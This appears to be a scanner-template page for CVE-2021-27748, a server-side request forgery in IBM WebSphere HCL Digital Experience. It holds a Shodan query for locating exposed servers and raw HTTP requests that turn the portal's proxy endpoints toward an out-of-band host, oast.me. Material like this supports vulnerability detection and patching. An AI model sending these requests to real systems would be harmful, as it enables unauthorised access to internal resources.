| Title | IBM WebSphere HCL Digital Experience - Server-Side Request Forgery |
|---|---|
| Author | pdteam |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to bypass security controls, access internal resources, and potentially perform further attacks. |
| Remediation | Apply the latest security patches or updates provided by IBM to mitigate this vulnerability. |
| CVE ID | CVE-2021-27748 |
| Shodan Query | http.html:"IBM WebSphere Portal" |
| Tags | cve2021 cve hcl ibm ssrf websphere vuln |
IBM WebSphere HCL Digital Experience is vulnerable to server-side request forgery that impacts on-premise deployments and containers.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.9 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
GET /docpicker/internal_proxy/http/oast.me HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wps/PA_WCM_Authoring_UI/proxy/http/oast.me HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27748.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-27748.pcap
N/AN/A